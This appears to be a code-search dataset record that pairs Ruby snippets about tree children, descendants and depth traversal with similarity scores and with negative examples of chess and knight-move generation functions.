"def children\n unless defined? @children\n @children = Array.new\n end\n return @children\n end",
"def children\n children = []\n board.rows.each_index do |row|\n board.rows[row].each_index do |col|\n pos = [row, col]\n if board[pos].nil?\n new_board = board.dup\n new_board[pos] = next_mover_mark\n children << self.class.new(new_board, switch_mark(next_mover_mark), pos)\n end\n end\n end\n children\n end",
"def build_tree array\n\t\t@root = Node.new(array.shift)\n\t\tparent = @root\n\t\tarray.each do |el|\n\t\t\twhile true\n\t\t\t\tif el <= parent.value\n\t\t\t\t\tif parent.left_child.nil?\n\t\t\t\t\t\tparent.left_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.left_child\n\t\t\t\t\tend\n\t\t\t\telsif el > parent.value\n\t\t\t\t\tif parent.right_child.nil?\n\t\t\t\t\t\tparent.right_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.right_child\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def max_depth(root)\n return 0 if !root\n 1 + [max_depth(root.left), max_depth(root.right)].max\nend",
"def descendants\n children.inject([]) { |m,child|\n m << child\n m += child.descendants\n }\n end",
"def children\n @children ||= {}.with_indifferent_access\n end",
"def get_moves_in_depth(num)\n get_moves_in_depth_helper(num, @root, 0).flatten\n end",
"def _children\n @children\n end",
"def children\n \n TapirLogger.instance.log \"Finding children for #{self}\"\n children = []\n EntityMapping.all.each do |mapping| \n\n # Go through each associated entity mapping, and find mappings where the parent_id is us\n # which means that the child_id is some other entity, and it's a child\n \n # the to_s is important, otherwise self.id returns a :Moped::BSON::ObjectID\n children << mapping.get_child if mapping.parent_id == self.id.to_s\n\n # TODO - what happens if parent_id and child_id are the same. We'll\n # end up grabbing it. Could that break any assumptions?\n end\n \n children\n end",
"def scan_patterns\n @max_level = 0\n @root.bfs do |r|\n reached = false\n curr_instances = yield(r.parent_id)\n curr_instances.each do |c_instance|\n q = @query.new.extend(Pbuilder::Query)\n q = q.search_next_instances(c_instance.uri, r.node.edge, r.node.value)\n q.execute do |i|\n @action.call(i, r.id, r.level, r.node.edge, c_instance.id)\n reached = true\n end\n end if ! curr_instances.nil?\n @max_level = r.level if r.level > @max_level\n reached\n end if @pass\n @max_level\n end",
"def build_tree(nodes_fragement)\n nodes_element = LonelyPlanet::Node.new nodes_fragement\n node = LonelyPlanet::TreeNode.new(nodes_element.name, nodes_element.id)\n if nodes_element.has_child?\n nodes_element.children.all? { |child_frag|\n node << build_tree(child_frag)\n }\n end\n node\n end",
"def build_up_to_nth_order(depth)\n (2..depth).each do |order|\n build_nth_order(order)\n end\n end",
"def get_children(args = '', output = :OBJECT)\n kids = {}\n if args.blank?\n if $GLOBALS['post']\n args = { post_parent: $GLOBALS['post'].post_parent }\n else\n return kids\n end\n elsif args.is_a? Integer\n args = { post_parent: args}\n elsif args.is_a? String\n args = { post_parent: args.to_i}\n elsif args.is_a? Railspress::WpPost\n args = { post_parent: args.post_parent }\n end\n\n defaults = {\n numberposts: -1,\n post_type: 'any',\n post_status: 'any',\n post_parent: 0,\n }\n\n r = defaults.merge args\n\n children = get_posts(r)\n\n return kids if children.nil?\n\n return children unless r[:fields].blank?\n\n # update_post_cache(children)\n\n children.each do |child|\n kids[child.id] = child\n end\n\n if output == :OBJECT\n kids\n elsif output == :ARRAY_A\n weeuns = {}\n kids.values.each do |kid|\n weeuns[kid.id] = kid.attributes\n end\n return weeuns\n elsif output == :ARRAY_N\n babes = {}\n kids.values.each do |kid|\n babes[kid.id] = kid.attributes.values\n end\n return babes\n else\n kids\n end\n end",
"def recursive_expand(link:, sort: 'best', lookup: {}, depth: 10)\n return [self] if depth == 0\n\n expand(link: link, sort: sort).flat_map do |thing|\n if thing.is_a?(MoreComments) && thing.count > 0\n # Get an array of expanded comments from the thing.\n ary = thing.recursive_expand(link: link, sort: sort, lookup: lookup, depth: depth - 1)\n # If we can't find its parent (or if the parent is the submission), add it to the root.\n next ary unless lookup.key?(thing.parent_id)\n # Since the thing has a parent that we're tracking, attach it to the parent.\n lookup[thing.parent_id].replies.children.concat(ary)\n elsif thing.is_a?(Comment)\n # Add the comment to a lookup hash.\n lookup[thing.name] = thing\n # If the parent is not in the lookup hash, add it to the root listing.\n next thing unless lookup.key?(thing.parent_id)\n # If the parent was found, add the child to the parent's replies instead.\n lookup[thing.parent_id].replies.children << thing\n end\n []\n end\n end",
"def cascadable_children(kind)\n [].tap do |children|\n relations.each_pair do |name, metadata|\n next unless metadata.cascading_callbacks?\n delayed_pulls = delayed_atomic_pulls[name]\n children.concat(delayed_pulls) if delayed_pulls\n child = send(name)\n Array.wrap(child).each do |doc|\n children.push(doc) if cascadable_child?(kind, doc)\n children.concat(doc.send(:cascadable_children, kind))\n end\n end\n end\n end",
"def fetch_children\n @children = []\n for item in self.listex\n if item[\"type\"] == \"folder\" and item[\"id\"]!=@id #sharefile API includes self in list\n @children << Folder.new(item[\"id\"], @authid, @subdomain, false, item)\n elsif item[\"type\"] == \"file\"\n @children << File.new(item[\"id\"], @authid, @subdomain, item)\n end\n end\n end",
"def max_depth &blk\n xmax = 0\n loop do\n begin\n xmax = [xmax, yield].max\n rescue HaltState\n raise StopIteration\n end\n end\n xmax\n end",
"def children\n children_nodes = Array.new\n i = 0\n while i < self.board.rows.length\n j = 0\n while j < self.board.rows.length\n if self.board.empty?([i,j])\n duped_board = self.board.dup\n duped_board.[]=([i,j],self.next_mover_mark) \n duped_node = self.class.new(duped_board,self.alternate_mark,[i,j])\n children_nodes << duped_node\n end\n j += 1\n end\n i += 1\n end\n return children_nodes\n end",
"def expand_depth(node) #:nodoc:\n relations_for(node).each do |rel|\n yield_node(rel)\n\n expand_node(rel) unless @description.prune_node?(rel)\n end\n end",
"def depthTraversal(path, parent = nil)\n\tif File.directory?(path)\n\t\tchildren = Array.new\n\t\tdir = handler.addDirectory(parent, path)\n\n\t\tDir.foreach(path) { |item|\n\t\t\tchild = path +\"/\"+ item\n\t\t\tif File.directory?(child)\n\t\t\t\tif item != '.' && item != '..'\n\t\t\t\t\tchildren.push child\n\t\t\t\tend\n\t\t\telse\n\t\t\t\thandler.addFile(dir, child)\n\t\t\tend\n\t\t}\n\n\t\tchildren.each { |item| breadthTraversal(item, dir) }\n\tend\nend",
"def to_nested_a(flat = false, mover = nil, descendants = nil, level = self.level, &block)\n descendants ||= self.descendants.all\n array = [ block_given? ? yield(self, level) : self ]\n\n while not descendants.empty?\n break unless descendants.first.parent_id == self.id\n item = descendants.shift\n items = item.to_nested_a(flat, mover, descendants, level + 1, &block)\n array.send flat ? 'concat' : '<<', items if mover.nil? or mover.new? or mover.move_possible?(item)\n end\n\n return array\n end",
"def children\n return @children if !@children.nil?\n @children = all_children.find_all{|collection| collection.url.count('/') == self.url.count('/') + 1}\n end",
"def descendants(result = nil, depth = 0)\n \n if (result.nil?)\n result = Hash.new\n end\n \n children.each do |kid|\n node = Array.new\n node[0] = kid\n kid_spice = kid.spice\n if (!kid_spice.nil? && kid_spice.length > 0)\n # TBD: I know there is a Ruby way to copy an array but can't look it up on the plane - just copy myself for now\n spouse_list = Array.new\n kid_spice.each do |s|\n spouse_list << s\n end\n node[1] = spouse_list\n end\n result[node] = depth\n kid.descendants(result, depth + 1)\n end \n \n return result\n \n end",
"def children\n\n # if winning_node(next_mover_mark)\n # end\n possible_moves = [self]\n #queue generation\n until possible_moves.empty?\n node = possible_moves.shift\n children_nodes = []\n self.board.rows.each_with_index do |row, i|\n row.each_with_index do |space, j|\n pos = [i,j]\n if self.board.empty?(pos)\n #self.board[pos] = @next_mover_mark\n children_nodes << TicTacToeNode.new(@board, next_mark, pos)\n end\n end\n end\n @children = children_nodes\n possible_moves += children_nodes\n end\n\n # until possible_moves.empty?\n # possible_moves.shift.children\n # end\n self\n end",
"def js_flat_hash(options = {}) # :yield: String\n @opt = {\n :max_depth => 999,\n :depth => 0,\n :children => [],\n :relationship_type => 'all' # or an Isa#id\n }.merge!(options.symbolize_keys)\n @opt[:depth] = @opt[:depth] + 1\n if @opt[:depth] < @opt[:max_depth]\n self.child_ontology_relationships(@opt).each do |n|\n @opt[:children] << n\n n.ontology_class1.js_flat_hash(@opt)\n end\n end\n return @opt[:children]\n end",
"def add_children(kids)\n i = 0\n while i < kids.size\n t = kids.get(i)\n add_child(t)\n i += 1\n end\n end",
"def with_children\n [self].tap do |self_with_children|\n if children\n self_with_children.concat(child_nodes)\n end\n end\n end"
] |
[
"0.65670353",
"0.6157627",
"0.6124455",
"0.6097771",
"0.5991611",
"0.59461516",
"0.59067696",
"0.58819246",
"0.58620787",
"0.58413696",
"0.5836486",
"0.5825835",
"0.58243984",
"0.58111185",
"0.5778077",
"0.5770776",
"0.5704197",
"0.5691301",
"0.5668295",
"0.5658111",
"0.56522536",
"0.56396985",
"0.56332964",
"0.56287485",
"0.5604617",
"0.5584889",
"0.55708224",
"0.555984",
"0.5538183",
"0.55324167",
"0.5522021",
"0.5497547",
"0.5492039",
"0.54757327",
"0.5474687",
"0.5468915",
"0.544252",
"0.5427985",
"0.54054254",
"0.5370005",
"0.5346247",
"0.53360796",
"0.5327748",
"0.532533",
"0.5319147",
"0.53189474",
"0.5313439",
"0.5300879",
"0.52931386",
"0.5287952",
"0.52874255",
"0.5266394",
"0.52655214",
"0.5262816",
"0.5253087",
"0.52513677",
"0.52421314",
"0.5229333",
"0.52276987",
"0.5226761",
"0.5206882",
"0.5191791",
"0.51895565",
"0.51882035",
"0.51882035",
"0.51882035",
"0.51882035",
"0.51852155",
"0.5184039",
"0.5183143",
"0.51612514",
"0.5154733",
"0.5153798",
"0.5148636",
"0.5146347",
"0.5141444",
"0.5107103",
"0.5103983",
"0.50965893",
"0.5095987",
"0.50870055",
"0.5079832",
"0.50781274",
"0.50752014",
"0.507493",
"0.50709707",
"0.5065326",
"0.5056626",
"0.5045074",
"0.5040959",
"0.5035362",
"0.503268",
"0.5030993",
"0.50245184",
"0.5023253",
"0.5019882",
"0.50196946",
"0.5014313",
"0.5008137",
"0.49968424"
] |
0.7432677
|
0
|
Returns an array of Square objects that a knight could move to from given coordinates. Increments depth.
|
def get_all_moves(node)
x, y, current_depth = node.x, node.y, node.depth
verified_moves = []
all_moves = all_moves_array(x,y)
all_moves.each {|move| verified_moves << Square.new(move[0], move[1], current_depth+1, node) if on_board?(move)}
verified_moves
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def knight_moves\n\t\tnode = Square.new(@start)\n\t\t@queue << node\n\t\twhile @queue.empty? == false\n\t\t\tcurrent = @queue[0]\n\t\t\tif current.value == @final\n\t\t\t\tdisplay_result(current)\t\t\t\n\t\t\telse\n\n\t\t\t\t8.times do |num|\n\t\t\t\t\tx = current.value[0] + @row[num]\n\t\t\t\t\ty = current.value[1] + @col[num]\n\t\t\t\t\tif (x.between?(1,8) && y.between?(1,8)) && @revised.include?([x, y]) == false\n\t\t\t\t\t\tnode = Square.new([x, y])\n\t\t\t\t\t\tnode.parent = current\n\t\t\t\t\t\tnode.count = current.count + 1\n\t\t\t\t\t\t@queue << node\n\t\t\t\t\telse\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t@revised << current.value\n\t\t\t\t@queue.shift\n\t\t\tend\n\t\tend\n\t\tputs \"NOT FOUND !!!\"\n\t\tputs \"This program presumes a 8x8 Chess Board\"\n\t\tputs \"Therefore your coordinates must be between (1, 1) and (8, 8).\"\n\tend",
"def children\n\t\tmoves = [ [@x+2, @y+1], [@x+2, @y-1], [@x-2, @y+1], [@x-2, @y-1],\n [@x+1, @y+2], [@x+1, @y-2], [@x-1, @y+2], [@x-1, @y-2] ]\n moves.map { |position| Knight.new( position, @history ) }\n\tend",
"def make_children\n possible = []\n possible.push([@x+2, @y+1]).push([@x+2, @y-1]).push([@x+1, @y+2]).\n push([@x+1, @y-2]).push([@x-1, @y+2]).push([@x-1, @y-2]).\n push([@x-2, @y+1]).push([@x-2, @y-1])\n\n children = possible.select { |coord| coord[0] >= 0 && coord[0] <= 7 && coord[1] >= 0 && coord[1] <= 7 }\n\n children = children.map { |coord| Square.new(coord[0], coord[1], self) }\n @children = children\n end",
"def find_winning_moves(board)\n winning_moves = []\n winning_moves.concat(winning_rows(board))\n winning_moves.concat(winning_cols(board))\n winning_moves.concat(winning_diags(board))\n return winning_moves\n end",
"def get_moves(pieces)\n\t\tarrPos = [] \n\t\tif team == 1\n\t\t\tarrPos << [@xCord, @yCord + 1] if square_is_open?(pieces, [@xCord, @yCord + 1])\n\t\t\tarrPos << [@xCord, @yCord + 2] if @yCord == 1 && square_is_open?(pieces, [@xCord, @yCord + 2])\n\t\telsif team == 2\n\t\t\tarrPos << [@xCord, @yCord - 1] if square_is_open?(pieces, [@xCord, @yCord - 1])\n\t\t\tarrPos << [@xCord, @yCord - 2] if @yCord == 6 && square_is_open?(pieces, [@xCord, @yCord - 2])\n\t\tend\n\t\tarrPos\n\tend",
"def get_moves\n [\n { row: @row + 1, col: @col + 2 },\n { row: @row + 1, col: @col - 2 },\n { row: @row + 2, col: @col + 1 },\n { row: @row + 2, col: @col - 1 },\n { row: @row - 1, col: @col + 2 },\n { row: @row - 1, col: @col - 2 },\n { row: @row - 2, col: @col + 1 },\n { row: @row - 2, col: @col - 1 }\n ].select do |move|\n [:blank_space, :enemy_piece].include? describe_location(move[:row], move[:col])\n end\n end",
"def children\n potential_moves = []\n @board.rows.each_with_index do |row, i|\n row.each_with_index do |ele, j|\n pos = [i, j]\n potential_moves << pos if @board.empty?(pos)\n end\n end\n \n new_mark = self.switch_mark\n potential_moves.map! do |pos|\n new_board = @board.dup \n new_board[pos] = next_mover_mark\n self.class.new(new_board, new_mark, pos)\n end\n \n return potential_moves\n end",
"def gen_knight_moves(color)\n moves = []\n \n # knights can't move to squares occupied by their own color\n # so determine where the knights comrades are\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n end\n \n # no work to do when there are no knights\n return moves if position[:knight].nil?\n \n # for each knight \n position[:knight].set_bits.each do |from| \n # valid moves are all those squares attacked from the current\n # position that aren't occupied by comrades\n move_to = Move::Attacks[:knight][from] & ~comrades\n move_to.set_bits.each do |to| \n moves.push [Square.index(from), Square.index(to)]\n end\n end\n moves\n end",
"def knight_moves(position_start,position_end)\n \n\n move = [-2,-1,1,2,].product([-2,-1,1,2]).select do |x,y| x.abs != y.abs end\n \n board = (0..7).map do \n [Array.new(8,nil)]\n end\n \n queue= []\n queue.push(position_start)\n notFind = true\n \n \n while !queue.empty? && notFind \n position = queue.shift\n move.\n collect do |x,y| \n [position[0] + x , position[1] + y]\n end.\n find_all do |x,y| \n (0..7) === x && (0..7) === y \n end.\n each do |x,y|\n if board[x][y].nil? \n board[x][y] = position \n notFind = !(x == position_end[0] && y == position_end[1])\n queue.push([x,y])\n end \n end \n end\n \n path = []\n position = position_end\n path << position_end\n while position != position_start \n position = board[position[0]][position[1]]\n path.unshift(position)\n end\n \n path\n end",
"def forking_moves(board, key)\n forking_moves =[]\n\n (0..2).each do |y|\n (0..2).each do |x|\n if board[y][x] == :_\n mutated_board = Marshal.load(Marshal.dump(board))\n mutated_board[y][x] = key\n mutated_winning_moves = winning_moves(mutated_board, key).uniq\n if mutated_winning_moves.count > 1\n forking_moves << mutated_winning_moves\n end\n end\n end\n end\n\n forking_moves.flatten\n \n end",
"def children\n all_moves = []\n (0..2).each do |rows|\n (0..2).each do |cols|\n # debugger\n if @board.rows[rows][cols].nil?\n new_board = []\n new_board = @board.rows.dup\n new_board[rows][cols] = :o\n all_moves << TicTacToeNode.new(new_board, :o, [rows, cols])\n end\n end\n end\n all_moves\n end",
"def regular_moves\n moves = [] # initializes empty move array\n\n # choses \"forward\" y direction based on piece team\n if @team == \"l\"\n dir = 1\n else\n dir = -1\n end\n \n # looks at the two forward diagonal positions and adds them to moves array if there are no pieces there\n pos1 = [@x_pos + 1, @y_pos + dir]\n moves << pos1 if Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos1}\n pos2 = [@x_pos - 1, @y_pos + dir]\n moves << pos2 if Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos2}\n \n # deletes any moves with coordinates that aren't on the board\n moves.delete_if{|move| move.find{|n| n < 0 || n > 7}}\n return moves \n end",
"def square_arrays\n squares = []\n org_row = 0\n org_col = 0\n (0..8).each do |i|\n squares[i] = []\n (org_row..org_row+2).each do |k|\n (org_col..org_col+2).each do |j|\n squares[i].push(@board[k][j])\n end \n end\n if org_row == 6\n org_col += 3 \n org_row = 0\n else\n org_row += 3 \n end\n end \n squares\n end",
"def children\n mark = self.next_mover_mark\n possible_moves = []\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n if board.empty?(pos)\n possible_board = board.dup\n prev_move_pos = pos\n possible_board[pos] = mark\n possible_moves << possible_board\n end\n end\n end\n possible_moves\n end",
"def find_possible_moves\n @possible_moves = []\n\n @moveset.each do |move, value|\n x = @x + value[0]\n y = @y + value[1]\n\n next unless ChessBoard.check_boundaries(x, y) && !visited_coordinates.include?([x, y])\n\n @possible_moves << move\n end\n end",
"def knight_moves(src_sqr = [0, 0], tgt_sqr = [0, 0])\n # Init the board and a Knight piece\n board = Board.new\n knight = Knight.new\n \n puts \"\\nFrom #{src_sqr} to #{tgt_sqr}...\"\n \n unless board.valid_position?(src_sqr[0], src_sqr[1]) && board.valid_position?(tgt_sqr[0], tgt_sqr[1])\n puts \"Invalid starting or ending positions!\\nPlease, provide only valid positions in range [0, 0] to [7, 7] to find a solution!\"\n\treturn\n end\n \n # Mark the source square on the board and set its distance to 0\n board.mark_square(src_sqr[0], src_sqr[1], knight.to_sym)\n board.set_square_distance(src_sqr[0], src_sqr[1], 0)\n # Enqueue the source square\n queue = [src_sqr]\n \n # BFS algorithm \n while !queue.empty?\n cur_sqr = queue.shift \n \n\tbreak if cur_sqr == tgt_sqr\n\t\n # Get all possible moves from current position\t\n\tknight.set_position(cur_sqr[0], cur_sqr[1])\n\tknight.get_possible_moves.each do |move| \n\t next unless board.is_square_empty?(move[0], move[1]) \n\t \n\t # Enqueue all possible moves whose related squares are not visited yet\n\t queue << move \n\t board.mark_square(move[0], move[1], knight.to_sym)\n\t board.set_square_distance(move[0], move[1], board.get_square_distance(cur_sqr[0], cur_sqr[1]) + 1)\n\t board.set_square_parent(move[0], move[1], cur_sqr)\n\tend\n end\n \n # Build the reverse path from src_sqr to tgt_sqr, starting from tgt_sqr\n path = [tgt_sqr]\n parent = board.get_square_parent(tgt_sqr[0], tgt_sqr[1])\n while !parent.nil?\n path << parent\n\tparent = board.get_square_parent(parent[0], parent[1])\n end\n \n # Print the solution\n puts \"Solution obtained in #{path.length - 1} move#{path.length - 1 != 1 ? 's' : ''}! The path is:\"\n path.reverse.each {|move| p move}\n \nend",
"def moves\n pos = self.current_position\n moves = []\n move_dirs.each do |arr|\n @current_position = pos\n loop do\n @current_position = [@current_position[0] + arr[0], @current_position[1] + arr[1]]\n break if [@current_position[0], @current_position[1]].any? { |val| val < 0 || val > 7 }\n if board.pos_occupied?(@current_position)\n if @board[@current_position].color == self.color\n break\n else\n moves << @current_position\n break\n end\n moves << @current_position\n end\n moves << @current_position\n end\n end\n moves\n end",
"def neighbours(radius = 1)\n (-radius..radius).each_with_object([]) do |x_diff, array|\n (-radius..radius).each do |y_diff|\n next if (x_diff.zero? && y_diff.zero?) ||\n x_diff + x < 0 ||\n y_diff + y < 0 ||\n x_diff + x > game.size ||\n y_diff + y > game.size\n array << game.find_square(x_diff + x, y_diff + y)\n end\n end\n end",
"def possible_king_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y]\n\t\tcandidates << [x-1,y]\t\t\n\t\tcandidates << [x,y+1]\t\t\t\t\n\t\tcandidates << [x,y-1]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tcandidates << [x+1,y+1]\n\t\tcandidates << [x-1,y-1]\t\n\t\tcandidates << [x-1,y+1]\t\t\t\t\n\t\tcandidates << [x+1,y-1]\t\t\t\t\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\t# If pieces not same color\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\tif occupied(child)\n\t\t\t\t\t\tcan_do = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend",
"def find_square_neighbors(x, y)\n result = []\n @board.each_with_index do |row, i|\n row.each_with_index do |cell, j|\n next if [i, j] == [x, y]\n result << cell if [i / 3, j / 3] == [x / 3, y / 3]\n end\n end\n result.reject { |c| c == '_' }\n end",
"def get_neighbor_squares(sq)\n row, column = sq[:row], sq[:column]\n result = []\n for dx in [-1,0,1]\n for dy in [-1,0,1]\n x, y = row + dx, column + dy\n if (dx != 0 || dy != 0) && (0..@board_size-1) === x && (0..@board_size-1) === y\n result << { :row => x, :column => y }\n end\n end\n end\n return result\n end",
"def moves\r\n # pos = [0,0]\r\n # row, col = pos\r\n all_h = []\r\n all_d = []\r\n HORIZONTAL_DIRS.each do |h_pos|\r\n h_row, h_col = h_pos\r\n all_h += grow_unblocked_moves_in_dir(h_row, h_col) #returns all moves in h_pos\r\n end\r\n DIAGONAL_DIRS.each do |d_pos|\r\n h_row, h_col = d_pos\r\n all_d += grow_unblocked_moves_in_dir(h_row, h_col) #returns all moves in d_pos\r\n end\r\n if self.class == Queen\r\n return all_h + all_d\r\n elsif self.class == Bishop\r\n return all_d\r\n elsif self.class == Rook\r\n return all_h\r\n end\r\n end",
"def possible_moves(position, board, color)\n out_array = []\n\n x = position[0]-1\n y = position[1]-1\n\n (x..x+2).each do |row|\n break if row > 7\n (y..y+2).each do |column|\n break if column > 7\n if !board[row][column] || board[row][column].color != color\n out_array.push([row, column])\n end\n end\n end\n\n out_array\n end",
"def possible_moves(side)\n possible_moves = []\n # initialize an 8x8 array of coordinates 1-8\n coords = Array.new(8) { [*1..8] }\n coords.each_with_index do |i, j|\n i.each do |t|\n # t is the x, i[j] is the y\n side.each do |test_piece|\n # Run move validation tests on every piece\n next unless test_piece.move_tests(to_x: t, to_y: i[j])\n # if a move passes validations, push the pieces ID and the\n # coordinates of a successful move to the possible_moves array\n possible_moves << [test_piece.id, t, i[j]]\n end\n end\n end\n possible_moves\n end",
"def moves\n available_moves = []\n\n deltas.each do |delta|\n next_move = self.position.zip_sum(delta)\n break unless empty_square?(next_move)\n if on_board?(next_move)\n available_moves << next_move\n end\n end\n\n available_moves + capture_moves\n end",
"def possible_knight_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y+2]\n\t\tcandidates << [x+1,y-2]\n\t\tcandidates << [x-1,y+2]\n\t\tcandidates << [x-1,y-2]\n\t\tcandidates << [x+2,y+1]\n\t\tcandidates << [x+2,y-1]\n\t\tcandidates << [x-2,y+1]\n\t\tcandidates << [x-2,y+1]\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\ttrue\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend",
"def children\n children = []\n @board.rows.each_with_index do |row, i|\n row.each_with_index do |square, j|\n pos = [i,j]\n if @board.empty?(pos)\n new_board = @board.dup\n new_board[pos] = @next_mover_mark\n mark = (@next_mover_mark == :x ? :o : :x)\n children << add_child(TicTacToeNode.new(new_board, mark, pos))\n end\n end\n end\n children\n end",
"def knights_moves(start, finish)\n board = create_board\n\n path = []\n queue = []\n\n queue << start\n\n loop do\n \tcurrent_node = board[queue[0][0]][queue[0][1]]\n\n current_node.moves.each do |node|\n unless node == start || board[node[0]][node[1]].parent != nil\n board[node[0]][node[1]].parent = queue[0] \n queue << node\n end\t\n end\n\n if queue.include? finish\n\n parent = board[finish[0]][finish[1]].parent\n path << parent\n\n loop do\n \tparent = board[parent[0]][parent[1]].parent\n \tbreak if parent == nil\n \tpath.unshift(parent)\n end\n\n path << finish\n break\n end\n\n \tqueue.shift\n end\n puts \"You can make it in #{path.length-1} steps!\"\n path\nend",
"def moves\n available_moves = []\n\n deltas.each do |delta|\n next_move = self.position.zip_sum(delta)\n break unless on_board?(next_move)\n break unless empty_square?(next_move)\n available_moves << next_move\n end\n\n available_moves + capture_moves\n end",
"def moves\n # All pieces can stay in place\n [[0,0]]\n end",
"def knight_moves(start, stop)\n\tknight = Knight.new(start)\n\tboard = Board.new\n\tq = MyQueue.new\n\n\tq.push knight\n\n\tuntil knight.position == stop\n\t\tknight = q.pop #select the knight from queue\n\t\t#Set children to all valid moves\n\t\tchildren = knight.children.select { |k| board.on_board?(k) } #k for knight\n\t\t#add each valid child move to the queue\n\t\tchildren.each { |k| q.push(k) }\n\tend\n\tknight.history #returns the array of all moves made\nend",
"def children\n out = [] \n (0..2).each do |row|\n (0..2).each do |col|\n pos = [row, col]\n out << next_move_node(pos) if @board.empty?(pos)\n end\n end\n out\n end",
"def take_moves(pieces)\n\t\tarrPos = []\n\t\tif team == 1\n\t\t\tarrPos << [@xCord - 1, @yCord + 1] if square_taken_opponent?(pieces, [@xCord - 1, @yCord + 1])\n\t\t\tarrPos << [@xCord + 1, @yCord + 1] if square_taken_opponent?(pieces, [@xCord + 1, @yCord + 1])\n\t\telsif team == 2\n\t\t\tarrPos << [@xCord - 1, @yCord - 1] if square_taken_opponent?(pieces, [@xCord - 1, @yCord - 1])\n\t\t\tarrPos << [@xCord + 1, @yCord - 1] if square_taken_opponent?(pieces, [@xCord + 1, @yCord - 1])\n\t\tend\n\t\tarrPos\t\n\tend",
"def moves\n moves = []\n\n x, y = self.position\n sign = self.color == :white ? 1 : -1\n init_row = self.color == :white ? 1 : 6\n\n one_up = [x + (1 * sign), y]\n two_up = [x + (2 * sign), y]\n\n moves << one_up if self.board[one_up].nil?\n\n if (self.board[one_up].nil? && self.board[two_up].nil? && self.position.first == init_row)\n moves << two_up\n end\n\n diag_left = [x + (1 * sign), y + 1]\n diag_right = [x + (1 * sign), y - 1]\n\n if self.board[diag_left] && self.board[diag_left].color != self.color\n moves << diag_left\n end\n\n if self.board[diag_right] && self.board[diag_right].color != self.color\n moves << diag_right\n end\n\n moves.select { |move| on_board?(move) }\n end",
"def children\n children = []\n next_next_mover_mark = [:x, :o].reject { |mark| mark == next_mover_mark }.first\n\n @board.rows.each_with_index do |row, row_idx|\n row.each_with_index do |square, col_idx|\n pos = [row_idx, col_idx]\n if @board.empty?(pos)\n child_board = @board.dup\n child_board[pos] = @next_mover_mark\n children << TicTacToeNode.new(child_board, next_next_mover_mark, pos)\n end\n end\n end\n children\n end",
"def enum_moves\n @scratch = dup_maze(@maze)\n @locs.each_with_index do |loc, robot|\n @cost = 1\n leading_edge = [loc]\n loop do\n next_edge = []\n leading_edge.each do |x, y|\n next_edge.concat search_from(x, y, robot)\n end\n break if next_edge.empty?\n leading_edge = next_edge\n @cost += 1\n end\n end\n\n @moves\n end",
"def gen_rook_moves(color, piece=:rook)\n moves = []\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n enemy = @position.black_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n enemy = @position.white_pieces\n end\n\n # no work to do when there are no pieces\n return moves if position[piece].nil?\n \n # for each piece\n position[piece].set_bits.each do |from| \n # [i,j] = current position\n i = from / 8\n j = from % 8\n\n #dirs flags which directions the piece is blocked\n dirs = 0\n for k in 1..7\n break if dirs == 0xf\n \n # try moving north\n if (dirs & 0x1) != 0x1\n to = from+k*8\n if i+k>7 || comrades.set?(to)\n # no further north moves possible\n dirs = dirs | 0x1\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x1 if enemy.set?(to) \n end\n end\n \n # try moving south\n if (dirs & 0x2) != 0x2\n to = from-k*8\n if i<k || comrades.set?(to)\n # no further south moves possible\n dirs = dirs | 0x2\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x2 if enemy.set?(to) \n end\n end\n \n # try moving east\n if (dirs & 0x4) != 0x4\n to = from+k\n if j+k>7 || comrades.set?(to)\n # no further east moves possible\n dirs = dirs | 0x4\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further east moves possible\n dirs = dirs | 0x4 if enemy.set?(to) \n end\n end\n \n # try moving west\n if (dirs & 0x8) != 0x8\n to = from-k\n if j-k<0 || comrades.set?(to)\n # no further east moves possible\n dirs = dirs | 0x8\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further west moves possible\n dirs = dirs | 0x8 if enemy.set?(to) \n end\n end \n end\n end \n moves\n end",
"def children\n # debugger\n possible_moves = []\n\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n new_board = @board.dup\n\n if new_board.empty?(pos)\n\n if @next_mover_mark == :o\n @next_mover_mark = :x\n else\n @next_mover_mark = :o\n end\n\n new_board.[]=(pos, @next_mover_mark)\n\n possible_moves << TicTacToeNode.new(new_board, @next_mover_mark, pos)\n @prev_move_pos = pos\n end\n end\n end\n possible_moves\n end",
